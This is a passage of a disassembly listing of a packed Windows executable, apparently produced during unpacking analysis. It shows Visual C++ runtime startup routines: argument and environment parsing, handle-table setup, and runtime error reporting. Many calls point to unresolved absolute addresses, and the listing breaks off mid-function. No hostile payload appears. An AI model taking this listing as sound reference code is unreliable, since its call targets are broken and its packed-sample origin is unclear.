; ---------------------------------------------------------------------------
loc_42362C: ; CODE XREF: ___:00423506j
; ___:00423511j
push dword ptr [ebp+0Ch]
nop
call near ptr 2650149h
loc_423635: ; CODE XREF: ___:00423523j
; ___:0042362Aj
pop ebx
pop ebp
retn
; =============== S U B R O U T I N E =======================================
sub_423638 proc near ; CODE XREF: ___:004234FEp
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_43D4C8
cmp dword_43D448, edx
push esi
mov eax, offset dword_43D448
jz short loc_423665
lea esi, [ecx+ecx*2]
lea esi, ds:43D448h[esi*4]
loc_42365A: ; CODE XREF: sub_423638+2Bj
add eax, 0Ch
cmp eax, esi
jnb short loc_423665
cmp [eax], edx
jnz short loc_42365A
loc_423665: ; CODE XREF: sub_423638+16j
; sub_423638+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:43D448h[ecx*4]
cmp eax, ecx
jnb short loc_423678
cmp [eax], edx
jz short locret_42367A
loc_423678: ; CODE XREF: sub_423638+3Aj
xor eax, eax
locret_42367A: ; CODE XREF: sub_423638+3Ej
retn
sub_423638 endp
; ---------------------------------------------------------------------------
cmp dword_4DD394, 0
jnz short loc_423689
call sub_420B0D
loc_423689: ; CODE XREF: ___:00423682j
push esi
mov esi, dword_4DD38C
mov al, [esi]
cmp al, 22h
jnz short loc_4236BB
loc_423696: ; CODE XREF: ___:004236AEj
; ___:004236B1j
mov al, [esi+1]
inc esi
cmp al, 22h
jz short loc_4236B3
test al, al
jz short loc_4236B3
movzx eax, al
push eax
call sub_424FE7
test eax, eax
pop ecx
jz short loc_423696
inc esi
jmp short loc_423696
; ---------------------------------------------------------------------------
loc_4236B3: ; CODE XREF: ___:0042369Cj
; ___:004236A0j
cmp byte ptr [esi], 22h
jnz short loc_4236C5
loc_4236B8: ; CODE XREF: ___:004236CDj
inc esi
jmp short loc_4236C5
; ---------------------------------------------------------------------------
loc_4236BB: ; CODE XREF: ___:00423694j
cmp al, 20h
jbe short loc_4236C5
loc_4236BF: ; CODE XREF: ___:004236C3j
inc esi
cmp byte ptr [esi], 20h
ja short loc_4236BF
loc_4236C5: ; CODE XREF: ___:004236B6j
; ___:004236B9j ...
mov al, [esi]
test al, al
jz short loc_4236CF
cmp al, 20h
jbe short loc_4236B8
loc_4236CF: ; CODE XREF: ___:004236C9j
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
push ebx
xor ebx, ebx
cmp dword_4DD394, ebx
push esi
push edi
jnz short loc_4236E5
call sub_420B0D
loc_4236E5: ; CODE XREF: ___:004236DEj
mov esi, dword_4DBE34
xor edi, edi
loc_4236ED: ; CODE XREF: ___:00423703j
mov al, [esi]
cmp al, bl
jz short loc_423705
cmp al, 3Dh
jz short loc_4236F8
inc edi
loc_4236F8: ; CODE XREF: ___:004236F5j
push esi
call sub_41B9C0
pop ecx
lea esi, [esi+eax+1]
jmp short loc_4236ED
; ---------------------------------------------------------------------------
loc_423705: ; CODE XREF: ___:004236F1j
lea eax, ds:4[edi*4]
push eax
call sub_41BEB5
mov esi, eax
pop ecx
cmp esi, ebx
mov dword_4DBE04, esi
jnz short loc_423727
push 9
call sub_41E2C9
pop ecx
loc_423727: ; CODE XREF: ___:0042371Dj
mov edi, dword_4DBE34
cmp [edi], bl
jz short loc_42376A
push ebp
loc_423732: ; CODE XREF: ___:00423767j
push edi
call sub_41B9C0
mov ebp, eax
pop ecx
inc ebp
cmp byte ptr [edi], 3Dh
jz short loc_423763
push ebp
call sub_41BEB5
cmp eax, ebx
pop ecx
mov [esi], eax
jnz short loc_423756
push 9
call sub_41E2C9
pop ecx
loc_423756: ; CODE XREF: ___:0042374Cj
push edi
push dword ptr [esi]
call sub_41C890
pop ecx
add esi, 4
pop ecx
loc_423763: ; CODE XREF: ___:0042373Fj
add edi, ebp
cmp [edi], bl
jnz short loc_423732
pop ebp
loc_42376A: ; CODE XREF: ___:0042372Fj
push dword_4DBE34
call sub_41BA91
pop ecx
mov dword_4DBE34, ebx
mov [esi], ebx
pop edi
pop esi
mov dword_4DD390, 1
pop ebx
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp dword_4DD394, ebx
push esi
push edi
jnz short loc_4237A3
call sub_420B0D
loc_4237A3: ; CODE XREF: ___:0042379Cj
mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
push 104h
push esi
push ebx
nop
call near ptr 26B0000h
mov eax, dword_4DD38C
mov off_4DBE14, esi
mov edi, esi
cmp [eax], bl
jz short loc_4237C8
mov edi, eax
loc_4237C8: ; CODE XREF: ___:004237C4j
lea eax, [ebp-8]
push eax
lea eax, [ebp-4]
push eax
push ebx
push ebx
push edi
call sub_423825
mov eax, [ebp-8]
mov ecx, [ebp-4]
lea eax, [eax+ecx*4]
push eax
call sub_41BEB5
mov esi, eax
add esp, 18h
cmp esi, ebx
jnz short loc_4237F8
push 8
call sub_41E2C9
pop ecx
loc_4237F8: ; CODE XREF: ___:004237EEj
lea eax, [ebp-8]
push eax
lea eax, [ebp-4]
push eax
mov eax, [ebp-4]
lea eax, [esi+eax*4]
push eax
push esi
push edi
call sub_423825
mov eax, [ebp-4]
add esp, 14h
dec eax
mov dword_4DBDFC, esi
pop edi
pop esi
mov dword_4DBDF8, eax
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423825 proc near ; CODE XREF: ___:004237D3p
; ___:00423809p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_10]
mov eax, [ebp+arg_C]
push ebx
push esi
and dword ptr [ecx], 0
mov esi, [ebp+arg_8]
push edi
mov edi, [ebp+arg_4]
mov dword ptr [eax], 1
mov eax, [ebp+arg_0]
test edi, edi
jz short loc_42384F
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_42384F: ; CODE XREF: sub_423825+20j
cmp byte ptr [eax], 22h
jnz short loc_423898
loc_423854: ; CODE XREF: sub_423825+58j
; sub_423825+5Fj
mov dl, [eax+1]
inc eax
cmp dl, 22h
jz short loc_423886
test dl, dl
jz short loc_423886
movzx edx, dl
test byte_4DD261[edx], 4
jz short loc_423879
inc dword ptr [ecx]
test esi, esi
jz short loc_423879
mov dl, [eax]
mov [esi], dl
inc esi
inc eax
loc_423879: ; CODE XREF: sub_423825+46j
; sub_423825+4Cj
inc dword ptr [ecx]
test esi, esi
jz short loc_423854
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_423854
; ---------------------------------------------------------------------------
loc_423886: ; CODE XREF: sub_423825+36j
; sub_423825+3Aj
inc dword ptr [ecx]
test esi, esi
jz short loc_423890
and byte ptr [esi], 0
inc esi
loc_423890: ; CODE XREF: sub_423825+65j
cmp byte ptr [eax], 22h
jnz short loc_4238DB
inc eax
jmp short loc_4238DB
; ---------------------------------------------------------------------------
loc_423898: ; CODE XREF: sub_423825+2Dj
; sub_423825+A5j
inc dword ptr [ecx]
test esi, esi
jz short loc_4238A3
mov dl, [eax]
mov [esi], dl
inc esi
loc_4238A3: ; CODE XREF: sub_423825+77j
mov dl, [eax]
inc eax
movzx ebx, dl
test byte_4DD261[ebx], 4
jz short loc_4238BE
inc dword ptr [ecx]
test esi, esi
jz short loc_4238BD
mov bl, [eax]
mov [esi], bl
inc esi
loc_4238BD: ; CODE XREF: sub_423825+91j
inc eax
loc_4238BE: ; CODE XREF: sub_423825+8Bj
cmp dl, 20h
jz short loc_4238CC
test dl, dl
jz short loc_4238D0
cmp dl, 9
jnz short loc_423898
loc_4238CC: ; CODE XREF: sub_423825+9Cj
test dl, dl
jnz short loc_4238D3
loc_4238D0: ; CODE XREF: sub_423825+A0j
dec eax
jmp short loc_4238DB
; ---------------------------------------------------------------------------
loc_4238D3: ; CODE XREF: sub_423825+A9j
test esi, esi
jz short loc_4238DB
and byte ptr [esi-1], 0
loc_4238DB: ; CODE XREF: sub_423825+6Ej
; sub_423825+71j ...
and [ebp+arg_10], 0
loc_4238DF: ; CODE XREF: sub_423825+19Ej
cmp byte ptr [eax], 0
jz loc_4239C8
loc_4238E8: ; CODE XREF: sub_423825+D0j
mov dl, [eax]
cmp dl, 20h
jz short loc_4238F4
cmp dl, 9
jnz short loc_4238F7
loc_4238F4: ; CODE XREF: sub_423825+C8j
inc eax
jmp short loc_4238E8
; ---------------------------------------------------------------------------
loc_4238F7: ; CODE XREF: sub_423825+CDj
cmp byte ptr [eax], 0
jz loc_4239C8
test edi, edi
jz short loc_42390C
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_42390C: ; CODE XREF: sub_423825+DDj
mov edx, [ebp+arg_C]
inc dword ptr [edx]
loc_423911: ; CODE XREF: sub_423825+18Fj
mov [ebp+arg_0], 1
xor ebx, ebx
loc_42391A: ; CODE XREF: sub_423825+FCj
cmp byte ptr [eax], 5Ch
jnz short loc_423923
inc eax
inc ebx
jmp short loc_42391A
; ---------------------------------------------------------------------------
loc_423923: ; CODE XREF: sub_423825+F8j
cmp byte ptr [eax], 22h
jnz short loc_423954
test bl, 1
jnz short loc_423952
xor edi, edi
cmp [ebp+arg_10], edi
jz short loc_423941
cmp byte ptr [eax+1], 22h
lea edx, [eax+1]
jnz short loc_423941
mov eax, edx
jmp short loc_423944
; ---------------------------------------------------------------------------
loc_423941: ; CODE XREF: sub_423825+10Dj
; sub_423825+116j
mov [ebp+arg_0], edi
loc_423944: ; CODE XREF: sub_423825+11Aj
mov edi, [ebp+arg_4]
xor edx, edx
cmp [ebp+arg_10], edx
setz dl
mov [ebp+arg_10], edx
loc_423952: ; CODE XREF: sub_423825+106j
shr ebx, 1
loc_423954: ; CODE XREF: sub_423825+101j
mov edx, ebx
dec ebx
test edx, edx
jz short loc_423969
inc ebx
loc_42395C: ; CODE XREF: sub_423825+142j
test esi, esi
jz short loc_423964
mov byte ptr [esi], 5Ch
inc esi
loc_423964: ; CODE XREF: sub_423825+139j
inc dword ptr [ecx]
dec ebx
jnz short loc_42395C
loc_423969: ; CODE XREF: sub_423825+134j
mov dl, [eax]
test dl, dl
jz short loc_4239B9
cmp [ebp+arg_10], 0
jnz short loc_42397F
cmp dl, 20h
jz short loc_4239B9
cmp dl, 9
jz short loc_4239B9
loc_42397F: ; CODE XREF: sub_423825+14Ej
cmp [ebp+arg_0], 0
jz short loc_4239B3
test esi, esi
jz short loc_4239A2
movzx ebx, dl
test byte_4DD261[ebx], 4
jz short loc_42399B
mov [esi], dl
inc esi
inc eax
inc dword ptr [ecx]
loc_42399B: ; CODE XREF: sub_423825+16Ej
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_4239B1
; ---------------------------------------------------------------------------
loc_4239A2: ; CODE XREF: sub_423825+162j
movzx edx, dl
test byte_4DD261[edx], 4
jz short loc_4239B1
inc eax
inc dword ptr [ecx]
loc_4239B1: ; CODE XREF: sub_423825+17Bj
; sub_423825+187j
inc dword ptr [ecx]
loc_4239B3: ; CODE XREF: sub_423825+15Ej
inc eax
jmp loc_423911
; ---------------------------------------------------------------------------
loc_4239B9: ; CODE XREF: sub_423825+148j
; sub_423825+153j ...
test esi, esi
jz short loc_4239C1
and byte ptr [esi], 0
inc esi
loc_4239C1: ; CODE XREF: sub_423825+196j
inc dword ptr [ecx]
jmp loc_4238DF
; ---------------------------------------------------------------------------
loc_4239C8: ; CODE XREF: sub_423825+BDj
; sub_423825+D5j
test edi, edi
jz short loc_4239CF
and dword ptr [edi], 0
loc_4239CF: ; CODE XREF: sub_423825+1A5j
mov eax, [ebp+arg_C]
pop edi
pop esi
pop ebx
inc dword ptr [eax]
pop ebp
retn
sub_423825 endp
; ---------------------------------------------------------------------------
push ecx
push ecx
mov eax, dword_4DBFA4
push ebx
push ebp
mov ebp, dword_427030
push esi
push edi
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp eax, ebx
jnz short loc_423A27
call ebp
mov esi, eax
cmp esi, ebx
jz short loc_423A08
mov dword_4DBFA4, 1
jmp short loc_423A30
; ---------------------------------------------------------------------------
loc_423A08: ; CODE XREF: ___:004239FAj
nop
call near ptr 2640CEFh
mov edi, eax
cmp edi, ebx
jz loc_423B02
mov dword_4DBFA4, 2
jmp loc_423AB6
; ---------------------------------------------------------------------------
loc_423A27: ; CODE XREF: ___:004239F2j
cmp eax, 1
jnz loc_423AB1
loc_423A30: ; CODE XREF: ___:00423A06j
cmp esi, ebx
jnz short loc_423A40
call ebp
mov esi, eax
cmp esi, ebx
jz loc_423B02
loc_423A40: ; CODE XREF: ___:00423A32j
cmp [esi], bx
mov eax, esi
jz short loc_423A55
loc_423A47: ; CODE XREF: ___:00423A4Cj
; ___:00423A53j
inc eax
inc eax
cmp [eax], bx
jnz short loc_423A47
inc eax
inc eax
cmp [eax], bx
jnz short loc_423A47
loc_423A55: ; CODE XREF: ___:00423A45j
sub eax, esi
mov edi, dword_427188
sar eax, 1
push ebx
push ebx
inc eax
push ebx
push ebx
push eax
push esi
push ebx
push ebx
mov [esp+34h], eax
call edi
mov ebp, eax
cmp ebp, ebx
jz short loc_423AA6
push ebp
call sub_41BEB5
cmp eax, ebx
pop ecx
mov [esp+10h], eax
jz short loc_423AA6
push ebx
push ebx
push ebp
push eax
push dword ptr [esp+24h]
push esi
push ebx
push ebx
call edi
test eax, eax
jnz short loc_423AA2
push dword ptr [esp+10h]
call sub_41BA91
pop ecx
mov [esp+10h], ebx
loc_423AA2: ; CODE XREF: ___:00423A92j
mov ebx, [esp+10h]
loc_423AA6: ; CODE XREF: ___:00423A72j
; ___:00423A81j
push esi
nop
call near ptr 2640F51h
mov eax, ebx
jmp short loc_423B04
; ---------------------------------------------------------------------------
loc_423AB1: ; CODE XREF: ___:00423A2Aj
cmp eax, 2
jnz short loc_423B02
loc_423AB6: ; CODE XREF: ___:00423A22j
cmp edi, ebx
jnz short loc_423AC6
nop
call near ptr 2640CEFh
mov edi, eax
cmp edi, ebx
jz short loc_423B02
loc_423AC6: ; CODE XREF: ___:00423AB8j
cmp [edi], bl
mov eax, edi
jz short loc_423AD6
loc_423ACC: ; CODE XREF: ___:00423ACFj
; ___:00423AD4j
inc eax
cmp [eax], bl
jnz short loc_423ACC
inc eax
cmp [eax], bl
jnz short loc_423ACC
loc_423AD6: ; CODE XREF: ___:00423ACAj
sub eax, edi
inc eax
mov ebp, eax
push ebp
call sub_41BEB5
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_423AEC
xor esi, esi
jmp short loc_423AF7
; ---------------------------------------------------------------------------
loc_423AEC: ; CODE XREF: ___:00423AE6j
push ebp
push edi
push esi
call sub_41CD20
add esp, 0Ch
loc_423AF7: ; CODE XREF: ___:00423AEAj
push edi
call near ptr 2650000h
nop
mov eax, esi
jmp short loc_423B04
; ---------------------------------------------------------------------------
loc_423B02: ; CODE XREF: ___:00423A12j
; ___:00423A3Aj ...
xor eax, eax
loc_423B04: ; CODE XREF: ___:00423AAFj
; ___:00423B00j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
sub esp, 44h
push ebx
push ebp
push esi
push edi
push 100h
call sub_41BEB5
mov esi, eax
pop ecx
test esi, esi
jnz short loc_423B2B
push 1Bh
call sub_41E2C9
pop ecx
loc_423B2B: ; CODE XREF: ___:00423B21j
mov dword_4DD040, esi
mov dword_4DD140, 20h
lea eax, [esi+100h]
loc_423B41: ; CODE XREF: ___:00423B5Dj
cmp esi, eax
jnb short loc_423B5F
and byte ptr [esi+4], 0
or dword ptr [esi], 0FFFFFFFFh
mov byte ptr [esi+5], 0Ah
mov eax, dword_4DD040
add esi, 8
add eax, 100h
jmp short loc_423B41
; ---------------------------------------------------------------------------
loc_423B5F: ; CODE XREF: ___:00423B43j
lea eax, [esp+10h]
push eax
nop
call near ptr 28C0000h
cmp word ptr [esp+42h], 0
jz loc_423C3B
mov eax, [esp+44h]
test eax, eax
jz loc_423C3B
mov esi, [eax]
lea ebp, [eax+4]
mov eax, 800h
cmp esi, eax
lea ebx, [esi+ebp]
jl short loc_423B95
mov esi, eax
loc_423B95: ; CODE XREF: ___:00423B91j
cmp dword_4DD140, esi
jge short loc_423BEF
mov edi, offset dword_4DD044
loc_423BA2: ; CODE XREF: ___:00423BE5j
push 100h
call sub_41BEB5
test eax, eax
pop ecx
jz short loc_423BE9
add dword_4DD140, 20h
mov [edi], eax
lea ecx, [eax+100h]
loc_423BC0: ; CODE XREF: ___:00423BDAj
cmp eax, ecx
jnb short loc_423BDC
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov ecx, [edi]
add eax, 8
add ecx, 100h
jmp short loc_423BC0
; ---------------------------------------------------------------------------
loc_423BDC: ; CODE XREF: ___:00423BC2j
add edi, 4
cmp dword_4DD140, esi
jl short loc_423BA2
jmp short loc_423BEF
; ---------------------------------------------------------------------------
loc_423BE9: ; CODE XREF: ___:00423BAFj
mov esi, dword_4DD140
loc_423BEF: ; CODE XREF: ___:00423B9Bj
; ___:00423BE7j
xor edi, edi
test esi, esi
jle short loc_423C3B
loc_423BF5: ; CODE XREF: ___:00423C39j
mov eax, [ebx]
cmp eax, 0FFFFFFFFh
jz short loc_423C32
mov cl, [ebp+0]
test cl, 1
jz short loc_423C32
test cl, 8
jnz short loc_423C14
push eax
nop
call near ptr 2640234h
test eax, eax
jz short loc_423C32
loc_423C14: ; CODE XREF: ___:00423C07j
mov eax, edi
mov ecx, edi
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DD040[eax*4]
lea eax, [eax+ecx*8]
mov ecx, [ebx]
mov [eax], ecx
mov cl, [ebp+0]
mov [eax+4], cl
loc_423C32: ; CODE XREF: ___:00423BFAj
; ___:00423C02j ...
inc edi
inc ebp
add ebx, 4
cmp edi, esi
jl short loc_423BF5
loc_423C3B: ; CODE XREF: ___:00423B70j
; ___:00423B7Cj ...
xor ebx, ebx
loc_423C3D: ; CODE XREF: ___:00423CA0j
mov eax, dword_4DD040
cmp dword ptr [eax+ebx*8], 0FFFFFFFFh
lea esi, [eax+ebx*8]
jnz short loc_423C98
test ebx, ebx
mov byte ptr [esi+4], 81h
jnz short loc_423C58
push 0FFFFFFF6h
pop eax
jmp short loc_423C62
; ---------------------------------------------------------------------------
loc_423C58: ; CODE XREF: ___:00423C51j
mov eax, ebx
dec eax
neg eax
sbb eax, eax
add eax, 0FFFFFFF5h
loc_423C62: ; CODE XREF: ___:00423C56j
push eax
nop
call near ptr 264092Bh
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_423C87
push edi
nop
call near ptr 2640234h
test eax, eax
jz short loc_423C87
and eax, 0FFh
mov [esi], edi
cmp eax, 2
jnz short loc_423C8D
loc_423C87: ; CODE XREF: ___:00423C6Ej
; ___:00423C79j
or byte ptr [esi+4], 40h
jmp short loc_423C9C
; ---------------------------------------------------------------------------
loc_423C8D: ; CODE XREF: ___:00423C85j
cmp eax, 3
jnz short loc_423C9C
or byte ptr [esi+4], 8
jmp short loc_423C9C
; ---------------------------------------------------------------------------
loc_423C98: ; CODE XREF: ___:00423C49j
or byte ptr [esi+4], 80h
loc_423C9C: ; CODE XREF: ___:00423C8Bj
; ___:00423C90j ...
inc ebx
cmp ebx, 3
jl short loc_423C3D
push dword_4DD140
nop
call near ptr 2640BC5h
pop edi
pop esi
pop ebp
pop ebx
add esp, 44h
retn
; ---------------------------------------------------------------------------
align 4
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423CC0 proc near ; DATA XREF: sub_4228FD+Ao
; sub_422A2C+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_423D60
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_423CF3: ; CODE XREF: sub_423CC0+90j
cmp esi, 0FFFFFFFFh
jz short loc_423D59
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_423D47
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_423D47
js short loc_423D52
mov edi, [ebx+8]
push ebx
call sub_41D550
; ---------------------------------------------------------------------------
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_41D592
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_41D626
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_423D47: ; CODE XREF: sub_423CC0+40j
; sub_423CC0+52j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_423CF3
; ---------------------------------------------------------------------------
loc_423D52: ; CODE XREF: sub_423CC0+54j
mov eax, 0
jmp short loc_423D75
; ---------------------------------------------------------------------------
loc_423D59: ; CODE XREF: sub_423CC0+36j
mov eax, 1
jmp short loc_423D75
; ---------------------------------------------------------------------------
loc_423D60: ; CODE XREF: sub_423CC0+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_41D592
add esp, 8
pop ebp
mov eax, 1
loc_423D75: ; CODE XREF: sub_423CC0+97j
; sub_423CC0+9Ej
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_423CC0 endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_41D592
add esp, 8
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
sub_423D98 proc near ; CODE XREF: sub_41E2C9+9p
mov eax, dword_4DBE3C
cmp eax, 1
jz short loc_423DAF
test eax, eax
jnz short locret_423DD0
cmp dword_43AE44, 1
jnz short locret_423DD0
loc_423DAF: ; CODE XREF: sub_423D98+8j
push 0FCh
call sub_423DD1
mov eax, dword_4DBFA8
pop ecx
test eax, eax
jz short loc_423DC5
call eax
loc_423DC5: ; CODE XREF: sub_423D98+29j
push 0FFh
call sub_423DD1
pop ecx
locret_423DD0: ; CODE XREF: sub_423D98+Cj
; sub_423D98+15j
retn
sub_423D98 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423DD1 proc near ; CODE XREF: sub_41E2C9+12p
; sub_423D98+1Cp ...
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1A4h
mov edx, [ebp+arg_0]
xor ecx, ecx
mov eax, offset dword_43D4D8
loc_423DE4: ; CODE XREF: sub_423DD1+20j
cmp edx, [eax]
jz short loc_423DF3
add eax, 8
inc ecx
cmp eax, offset off_43D568
jl short loc_423DE4
loc_423DF3: ; CODE XREF: sub_423DD1+15j
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword_43D4D8[esi]
jnz loc_423F21
mov eax, dword_4DBE3C
cmp eax, 1
jz loc_423EFB
test eax, eax
jnz short loc_423E24
cmp dword_43AE44, 1
jz loc_423EFB
loc_423E24: ; CODE XREF: sub_423DD1+44j
cmp edx, 0FCh
jz loc_423F21
lea eax, [ebp+var_1A4]
push 104h
push eax
push 0
call near ptr 26B0000h
nop
test eax, eax
jnz short loc_423E5B
lea eax, [ebp+var_1A4]
push offset aProgramNameUnk ; "<program name unknown>"
push eax
call sub_41C890
pop ecx
pop ecx
loc_423E5B: ; CODE XREF: sub_423DD1+75j
lea eax, [ebp+var_1A4]
push edi
push eax
lea edi, [ebp+var_1A4]
call sub_41B9C0
inc eax
pop ecx
cmp eax, 3Ch
jbe short loc_423E9E
lea eax, [ebp+var_1A4]
push eax
call sub_41B9C0
mov edi, eax
lea eax, [ebp+var_1A4]
sub eax, 3Bh
push 3
add edi, eax
push offset a___ ; "..."
push edi
call sub_41BFD0
add esp, 10h
loc_423E9E: ; CODE XREF: sub_423DD1+A2j
lea eax, [ebp+var_A0]
push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
push eax
call sub_41C890
lea eax, [ebp+var_A0]
push edi
push eax
call sub_41C8A0
lea eax, [ebp+var_A0]
push offset asc_427BF0 ; "\n\n"
push eax
call sub_41C8A0
push off_43D4DC[esi]
lea eax, [ebp+var_A0]
push eax
call sub_41C8A0
push 12010h
lea eax, [ebp+var_A0]
push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
push eax
call sub_425029
add esp, 2Ch
pop edi
jmp short loc_423F21
; ---------------------------------------------------------------------------
loc_423EFB: ; CODE XREF: sub_423DD1+3Cj
; sub_423DD1+4Dj
lea eax, [ebp+arg_0]
lea esi, off_43D4DC[esi]
push 0
push eax
push dword ptr [esi]
call sub_41B9C0
pop ecx
push eax
push dword ptr [esi]
push 0FFFFFFF4h
nop
call near ptr 264092Bh
push eax
nop
call near ptr 273186Ah
loc_423F21: ; CODE XREF: sub_423DD1+2Ej
; sub_423DD1+59j ...
pop esi
leave
retn
sub_423DD1 endp
; =============== S U B R O U T I N E =======================================
sub_423F24 proc near ; CODE XREF: sub_42423B:loc_4243B3p
push ebx
push esi
push edi
or ebx, 0FFFFFFFFh
xor edi, edi
xor esi, esi
mov ecx, offset dword_4DD040
loc_423F33: ; CODE XREF: sub_423F24+48j
mov eax, [ecx]
test eax, eax
jz short loc_423F70
lea edx, [eax+100h]
loc_423F3F: ; CODE XREF: sub_423F24+28j
cmp eax, edx
jnb short loc_423F5F
test byte ptr [eax+4], 1
jz short loc_423F4E
add eax, 8
jmp short loc_423F3F
; ---------------------------------------------------------------------------
loc_423F4E: ; CODE XREF: sub_423F24+23j
or dword ptr [eax], 0FFFFFFFFh
sub eax, [ecx]
sar eax, 3
add eax, esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_423FB3
loc_423F5F: ; CODE XREF: sub_423F24+1Dj
add ecx, 4
inc edi
add esi, 20h
cmp ecx, offset dword_4DD140
jl short loc_423F33
jmp short loc_423FB3
; ---------------------------------------------------------------------------
loc_423F70: ; CODE XREF: sub_423F24+13j
mov esi, 100h
push esi
call sub_41BEB5
test eax, eax
pop ecx
jz short loc_423FB3
add dword_4DD140, 20h
lea ecx, ds:4DD040h[edi*4]
lea edx, [eax+100h]
mov [ecx], eax
loc_423F96: ; CODE XREF: sub_423F24+88j
cmp eax, edx
jnb short loc_423FAE
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov edx, [ecx]
add eax, 8
add edx, esi
jmp short loc_423F96
; ---------------------------------------------------------------------------
loc_423FAE: ; CODE XREF: sub_423F24+74j
shl edi, 5
mov ebx, edi
loc_423FB3: ; CODE XREF: sub_423F24+39j
; sub_423F24+4Aj ...
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_423F24 endp
; =============== S U B R O U T I N E =======================================
sub_423FB9 proc near ; CODE XREF: sub_42423B+1F4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_4DD140
push edi
jnb short loc_424019
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:4DD040h[ecx*4]
shl esi, 3
mov ecx, [edi]
cmp dword ptr [ecx+esi], 0FFFFFFFFh
jnz short loc_424019
cmp dword_43AE44, 1
push ebx
mov ebx, [esp+0Ch+arg_4]
jnz short loc_42400F
sub eax, 0
jz short loc_424006
dec eax
jz short loc_424001
dec eax
jnz short loc_42400F
push ebx
push 0FFFFFFF4h
jmp short loc_424009
; ---------------------------------------------------------------------------
loc_424001: ; CODE XREF: sub_423FB9+3Ej
push ebx
push 0FFFFFFF5h
jmp short loc_424009
; ---------------------------------------------------------------------------
loc_424006: ; CODE XREF: sub_423FB9+3Bj
push ebx
push 0FFFFFFF6h
loc_424009: ; CODE XREF: sub_423FB9+46j
; sub_423FB9+4Bj
nop
call near ptr 2640000h
loc_42400F: ; CODE XREF: sub_423FB9+36j
; sub_423FB9+41j
mov eax, [edi]
mov [eax+esi], ebx
xor eax, eax
pop ebx
jmp short loc_42402D
; ---------------------------------------------------------------------------
loc_424019: ; CODE XREF: sub_423FB9+Cj
; sub_423FB9+28j
and dword_4DBDE0, 0
mov dword_4DBDDC, 9
or eax, 0FFFFFFFFh
loc_42402D: ; CODE XREF: sub_423FB9+5Ej
pop edi
pop esi
retn
sub_423FB9 endp
; =============== S U B R O U T I N E =======================================
sub_424030 proc near ; CODE XREF: sub_41E312+7Cp
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push esi
cmp ecx, dword_4DD140
push edi
jnb short loc_424093
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea edi, ds:4DD040h[eax*4]
shl esi, 3
mov eax, [edi]
add eax, esi
test byte ptr [eax+4], 1
jz short loc_424093
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_424093
cmp dword_43AE44, 1
jnz short loc_424089
xor eax, eax
sub ecx, eax
jz short loc_424080
dec ecx
jz short loc_42407B
dec ecx
jnz short loc_424089
push eax
push 0FFFFFFF4h
jmp short loc_424083
; ---------------------------------------------------------------------------
